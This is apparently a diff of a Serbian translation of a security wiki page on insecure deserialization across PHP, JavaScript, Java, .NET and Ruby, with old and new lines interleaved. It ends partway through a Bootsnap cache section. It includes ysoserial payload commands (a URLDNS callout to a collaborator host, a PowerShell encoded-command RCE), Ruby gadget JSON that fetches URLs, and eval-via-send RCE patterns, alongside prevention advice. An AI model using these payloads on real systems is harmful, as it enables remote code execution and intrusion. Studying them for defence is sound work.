**Deserialization**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u specifičnom formatu i rekonstrukciju nazad u objekat.
**Deserijalizacija**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i rekonstrukciju nazad u objekat.
Deserialization može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
Deserijalizacija može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
## PHP
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserializacije:
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserijalizacije:
- `__sleep`: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba serijalizovati. Obično se koristi za obavezujuće podatke ili obavljanje sličnih zadataka čišćenja.
- `__wakeup`: Poziva se kada se objekat deserializuje. Koristi se za ponovnu uspostavu bilo kojih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka reinitializacije.
- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserializuje. Pruža veću kontrolu nad procesom deserializacije u poređenju sa `__wakeup`.
- `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skript završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje datotečnih rukova ili veza sa bazom podataka.
- `__wakeup`: Poziva se kada se objekat deserijalizuje. Koristi se za ponovno uspostavljanje bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka reinitializacije.
- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserijalizuje. Pruža veću kontrolu nad procesom deserijalizacije u poređenju sa `__wakeup`.
- `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skript završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje datotečnih rukava ili veza sa bazom podataka.
- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na funkcijskim pozivima unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
```php
<?php
@ -92,7 +92,7 @@ Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__des
Možete pročitati objašnjen **PHP primer ovde**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
### PHP Deserial + Autoload Klase
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php datoteke i još više:
@ -100,7 +100,7 @@ Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php da
php-deserialization-+-autoload-classes.md
{{#endref}}
### Serijalizacija Referenciranih Vrednosti
### Serijalizovanje Referenciranih Vrednosti
Ako iz nekog razloga želite da serijalizujete vrednost kao **referencu na drugu serijalizovanu vrednost**, možete:
```php
@ -172,7 +172,7 @@ python-yaml-deserialization.md
JS **nema "magic" funkcije** kao PHP ili Python koje će biti izvršene samo za kreiranje objekta. Ali ima neke **funkcije** koje se **često koriste čak i bez direktnog pozivanja** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
Ako zloupotrebljavate deserializaciju, možete **kompromitovati ove funkcije da izvršite drugi kod** (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.
Drugi **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugu **promise** sa **svojstvom** pod nazivom **"then" tipa funkcije**, biće **izvršeno** samo zato što je vraćeno iz druge promise. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
Drugi **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugi **promise** sa **svojstvom** pod nazivom **"then" tipa funkcija**, biće **izvršen** samo zato što je vraćen iz drugog promise-a. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -313,16 +313,16 @@ Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti o
## Java - HTTP
U Javi, **deserializacijski povratni pozivi se izvršavaju tokom procesa deserializacije**. Ova izvršenja mogu biti iskorišćena od strane napadača koji kreiraju zlonamerne payload-e koji aktiviraju ove povratne pozive, što može dovesti do potencijalnog izvršenja štetnih radnji.
U Javi, **deserializacijski callback-ovi se izvršavaju tokom procesa deserializacije**. Ova izvršenja mogu biti iskorišćena od strane napadača koji kreiraju zlonamerne payload-ove koji aktiviraju ove callback-ove, što može dovesti do potencijalnog izvršenja štetnih radnji.
### Otisci
#### Bela kutija
Da biste identifikovali potencijalne ranjivosti u serijalizaciji u kodu, potražite:
Da biste identifikovali potencijalne ranjivosti u serijalizaciji u kodu, tražite:
- Klase koje implementiraju `Serializable` interfejs.
- Korišćenje `java.io.ObjectInputStream`, `readObject`, `readUnshare` funkcija.
- Korišćenje `java.io.ObjectInputStream`, `readObject`, `readUnshared` funkcija.
Obratite posebnu pažnju na:
@ -335,7 +335,7 @@ Obratite posebnu pažnju na:
#### Crna kutija
Za testiranje crne kutije, potražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (proizlazeći iz `ObjectInputStream`):
Za testiranje crne kutije, tražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (potekle iz `ObjectInputStream`):
- Hexadecimalni obrazac: `AC ED 00 05`.
- Base64 obrazac: `rO0`.
@ -359,7 +359,7 @@ grep -R InvokeTransformer .
```
Možete pokušati da **proverite sve biblioteke** za koje je poznato da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da tražite moguće lance gadgeta koji se mogu iskoristiti.\
Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molim vas, imajte na umu da **gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate**.
Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molimo vas, imajte na umu da **gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate**.
#### Black Box Test
@ -385,7 +385,7 @@ Ako pronađete java serijalizovani objekat koji se šalje web aplikaciji, **mož
Glavni alat za eksploataciju Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**preuzmite ovde**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Takođe možete razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti da koristite složene komande (na primer, sa cevima).\
Napomena: ovaj alat je **fokusiran** na eksploataciju **`ObjectInputStream`**.\
Preporučujem da **počnete sa "URLDNS"** payloadom **pre RCE** payloada da biste testirali da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
Počeo bih **koristiti "URLDNS"** payload **pre RCE** payloada da testiram da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -550,13 +550,13 @@ return super.resolveClass(desc);
```
-javaagent:name-of-agent.jar
```
Omogućava način za dinamičko osiguranje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.
Omogućava način za dinamičko obezbeđivanje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.
Pogledajte primer u [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
Proverite primer u [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Implementacija filtera za serijalizaciju**: Java 9 je uvela filtere za serijalizaciju putem **`ObjectInputFilter`** interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deseralizovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deseralizacije.
**Implementacija filtera za serijalizaciju**: Java 9 je uvela filtere za serijalizaciju putem **`ObjectInputFilter`** interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deserializacije.
Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deseralizacije ili ga dinamički konfigurisati za specifične tokove. Na primer:
Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserializacije ili ga dinamički konfigurisati za specifične tokove. Na primer:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -580,7 +580,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- Deserializacija i ysoserial razgovor: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Razgovor o gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Razgovor o gadgetinspectoru: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec rad: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
@ -588,9 +588,9 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- Java i .Net JSON deserializacija **rad:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** razgovor: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Deserializacije CVE-ovi: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injekcija & log4Shell
## JNDI Injection & log4Shell
Pronađite šta je **JNDI Injekcija, kako je zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
Pronađite šta je **JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> **Java Message Service** (**JMS**) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođačpotrošač. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali kojom je od tada upravljao Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> **Java Message Service** (**JMS**) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali kojom je od tada upravljao Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Proizvodi
@ -610,10 +610,10 @@ Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
### Eksploatacija
Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive) mogli biste biti u mogućnosti da pošaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive), mogli biste biti u mogućnosti da šaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
To znači da će u ovoj eksploataciji svi **klijenti koji će koristiti tu poruku biti zaraženi**.
Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos) i dalje morate pronaći važeće gadgete da iskoristite ranjivost.
Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos), i dalje morate pronaći važeće gadgete da biste iskoristili ranjivost.
Alat [JMET](https://github.com/matthiaskaiser/jmet) je kreiran da **poveže i napadne ove usluge šaljući nekoliko zlonamernih objekata serijalizovanih koristeći poznate gadgete**. Ove eksploatacije će raditi ako je usluga još uvek ranjiva i ako je neki od korišćenih gadgeta unutar ranjive aplikacije.
@ -645,20 +645,20 @@ Pretraga treba da bude usmerena na Base64 kodiranu string **AAEAAAD/////** ili b
U ovom slučaju možete koristiti alat [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) kako biste **napravili eksploatacije deserializacije**. Kada preuzmete git repozitorijum, trebali biste **kompilirati alat** koristeći Visual Studio, na primer.
Ako želite da saznate **kako ysoserial.net pravi svoju eksploataciju** možete [**proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Ako želite da saznate **kako ysoserial.net pravi svoju eksploataciju**, možete [**proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Glavne opcije **ysoserial.net** su: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
- **`--gadget`** se koristi za označavanje gadgeta koji će se zloupotrebiti (označava klasu/funkciju koja će se zloupotrebiti tokom deserializacije za izvršavanje komandi).
- **`--formatter`**, koristi se za označavanje metode za serijalizaciju eksploatacije (morate znati koju biblioteku koristi back-end za deserializaciju payload-a i koristiti istu za serijalizaciju).
- **`--output`** se koristi za označavanje da li želite eksploataciju u **raw** ili **base64** kodiranom formatu. _Napomena da će **ysoserial.net** **kodirati** payload koristeći **UTF-16LE** (kodiranje koje se koristi po defaultu na Windows-u) tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole mogli biste imati neke **probleme sa kompatibilnošću kodiranja** koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._
- **`--output`** se koristi za označavanje da li želite eksploataciju u **raw** ili **base64** kodiranom formatu. _Napomena da će **ysoserial.net** **kodirati** payload koristeći **UTF-16LE** (kodiranje koje se koristi po defaultu na Windows-u), tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole, mogli biste imati neke **probleme sa kompatibilnošću kodiranja** koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._
- **`--plugin`** ysoserial.net podržava plugine za kreiranje **eksploatacija za specifične okvire** kao što je ViewState.
#### Više ysoserial.net parametara
- `--minify` će pružiti **manji payload** (ako je moguće)
- `--raf -f Json.Net -c "anything"` Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatterom (`Json.Net` u ovom slučaju)
- `--sf xml` možete **označiti gadget** (`-g`) i ysoserial.net će tražiti formatere koji sadrže "xml" (ne razlikuje se po velikim i malim slovima)
- `--sf xml` možete **označiti gadget** (`-g`) i ysoserial.net će tražiti formatere koji sadrže "xml" (ne razlikuje se od velikih i malih slova)
**ysoserial primeri** za kreiranje eksploatacija:
```bash
@ -680,7 +680,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S
```
**ysoserial.net** takođe ima **veoma zanimljiv parametar** koji pomaže da se bolje razume kako svaki exploit funkcioniše: `--test`\
Ako navedete ovaj parametar, **ysoserial.net** će **pokušati** da **izvrši exploit lokalno,** tako da možete testirati da li će vaš payload raditi ispravno.\
Ovaj parametar je koristan jer ako pregledate kod, naći ćete delove koda poput sledećeg (iz [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
Ovaj parametar je koristan jer ako pregledate kod, naći ćete delove koda kao što je sledeći (iz [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -694,7 +694,7 @@ Debugging.ShowErrors(inputArgs, err);
}
}
```
To znači da će kod pozvati [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) kako bi testirao exploit.
To znači da će kod pozvati [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) kako bi testirao eksploataciju.
```java
public static object JsonNet_deserialize(string str)
{
@ -705,12 +705,12 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
U **prethodnom kodu je ranjiv na stvoreni exploit**. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno ta aplikacija takođe ranjiva.\
U **prethodnom kodu postoji ranjivost na stvoreni exploit**. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno ta aplikacija takođe ranjiva.\
Zato **`--test`** parametar omogućava da razumemo **koji delovi koda su ranjivi** na exploit deserializacije koji **ysoserial.net** može stvoriti.
### ViewState
Pogledajte [ovaj POST o **kako pokušati da iskoristite \_\_ViewState parametar .Net**](exploiting-__viewstate-parameter.md) da **izvršite proizvoljan kod.** Ako **već znate tajne** koje koristi žrtvina mašina, [**pročitajte ovaj post da saznate kako da izvršite kod**](exploiting-__viewstate-knowing-the-secret.md)**.**
Pogledajte [ovaj POST o **kako pokušati da iskoristite \_\_ViewState parametar .Net**](exploiting-__viewstate-parameter.md) da **izvršite proizvoljan kod.** Ako **već znate tajne** koje koristi žrtvinska mašina, [**pročitajte ovaj post da saznate kako da izvršite kod**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevencija
@ -724,7 +724,7 @@ Da biste umanjili rizike povezane sa deserializacijom u .Net:
- **Sigurno kontrolišite instanciranje tipova** kako biste sprečili napadače da utiču na proces deserializacije, čineći čak i `DataContractSerializer` ili `XmlSerializer` ranjivim.
- **Implementirajte kontrole bele liste** koristeći prilagođeni `SerializationBinder` za `BinaryFormatter` i `JSON.Net`.
- **Budite informisani o poznatim nesigurnim deserializacijskim gadgetima** unutar .Net i osigurajte da deserializeri ne instanciraju takve tipove.
- **Izolujte potencijalno rizičan kod** od koda sa internet pristupom kako biste izbegli izlaganje poznatim gadgetima, kao što je `System.Windows.Data.ObjectDataProvider` u WPF aplikacijama, nepouzdanim izvorima podataka.
- **Izolujte potencijalno rizičan kod** od koda sa pristupom internetu kako biste izbegli izlaganje poznatim gadgetima, kao što je `System.Windows.Data.ObjectDataProvider` u WPF aplikacijama, nepouzdanim izvorima podataka.
### **Reference**
@ -826,7 +826,7 @@ Na primer, pozivanje eval i zatim ruby kod kao drugi parametar će omogućiti iz
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
Pored toga, ako samo jedan parametar **`.send()`** kontroliše napadač, kao što je pomenuto u prethodnom tekstu, moguće je pozvati bilo koju metodu objekta koja **ne zahteva argumente** ili čiji argumenti imaju **podrazumevane vrednosti**.\
Za to, moguće je enumerisati sve metode objekta da bi se **pronašle neke zanimljive metode koje ispunjavaju te zahteve**.
Za ovo, moguće je enumerisati sve metode objekta da bi se **pronašle neke zanimljive metode koje ispunjavaju te zahteve**.
```ruby
<Object>.send('<user_input>')
@ -854,7 +854,7 @@ Proverite kako bi moglo biti moguće da [zagađujete Ruby klasu i zloupotrebljav
### Ruby _json pollution
Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, biće dodate u novi ključ pod nazivom `_json`. Međutim, moguće je da napadač takođe postavi u telo vrednost pod nazivom `_json` sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim takođe koristi `_json` parametar za izvršavanje neke akcije, mogla bi se izvršiti zaobilaženje autorizacije.
Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, one će biti dodate u novi ključ pod nazivom `_json`. Međutim, moguće je da napadač takođe postavi u telo vrednost pod nazivom `_json` sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim takođe koristi `_json` parametar za izvršavanje neke akcije, mogla bi se izvršiti zaobilaženje autorizacije.
Proverite više informacija na [Ruby _json pollution stranici](ruby-_json-pollution.md).
@ -862,9 +862,9 @@ Proverite više informacija na [Ruby _json pollution stranici](ruby-_json-pollut
Ova tehnika je preuzeta[ **iz ovog blog posta**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Postoje druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i stoga bi mogle biti zloupotrebljene za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju iz učitane biblioteke kada se deserializuje (funkcija za zloupotrebu za dobijanje RCE u suštini):
Postoje druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i stoga bi mogle biti zloupotrebljene za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju iz učitane biblioteke kada se deserializuje (funkcija koja se zloupotrebljava za dobijanje RCE u suštini):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vidi beleške o json_create na kraju](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa treba da bude stavljena u hash(map) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa treba da bude stavljena u hash(map) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa treba da bude stavljena u hash(map) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vidi beleške o json_create na kraju](#table-vulnerable-sinks))</td></tr></tbody></table>
Basic example:
```ruby
@ -888,7 +888,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja unutar svoje `hash` funkcije poziva `to_s`, koja poziva spec, koja poziva fetch_path, što je omogućilo da se dohvati nasumična URL adresa, pružajući odličan detektor ovih vrsta nepročišćenih ranjivosti u deserializaciji.
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja unutar svoje `hash` funkcije poziva `to_s`, koja poziva spec, koja poziva fetch_path, što je omogućilo da se dohvati nasumična URL adresa, pružajući odličan detektor ovih vrsta nefiltriranih ranjivosti deserializacije.
```json
{
"^o": "URI::HTTP",
@ -922,6 +922,41 @@ Pored toga, otkriveno je da se prethodnom tehnikom u sistemu takođe kreira fold
}
}
```
Proverite više detalja u [**originalnom postu**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
### Bootstrap Caching
Nije baš ranjivost deseralizacije, ali je lep trik za zloupotrebu bootstrap keširanja kako bi se dobio RCE iz Rails aplikacije sa arbitrarnim pisanjem fajlova (pronađite kompletnu [originalnu objavu ovde](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Ispod je kratak pregled koraka detaljno opisanih u članku za iskorišćavanje ranjivosti arbitrarnog pisanja fajlova zloupotrebom Bootsnap keširanja:
- Identify the Vulnerability and Environment
Funkcionalnost za upload fajlova u Rails aplikaciji omogućava napadaču da arbitrarnu piše fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao što su tmp su zapisivi zbog Docker-ovog korisnika bez root privilegija), to i dalje omogućava pisanje u Bootsnap keš direktorijum (obično pod tmp/cache/bootsnap).
- Understand Bootsnaps Cache Mechanism
Bootsnap ubrzava vreme pokretanja Rails-a keširanjem kompajliranog Ruby koda, YAML i JSON fajlova. Čuva keš fajlove koji uključuju zaglavlje keš ključa (sa poljima kao što su verzija Ruby-a, veličina fajla, mtime, opcije kompajliranja, itd.) praćeno kompajliranim kodom. Ovo zaglavlje se koristi za validaciju keša tokom pokretanja aplikacije.
- Gather File Metadata
Napadač prvo bira ciljni fajl koji će verovatno biti učitan tokom pokretanja Rails-a (na primer, set.rb iz Ruby-ove standardne biblioteke). Izvršavanjem Ruby koda unutar kontejnera, izvlače kritične metapodatke (kao što su RUBY_VERSION, RUBY_REVISION, veličina, mtime i compile_option). Ovi podaci su ključni za kreiranje validnog keš ključa.
- Compute the Cache File Path
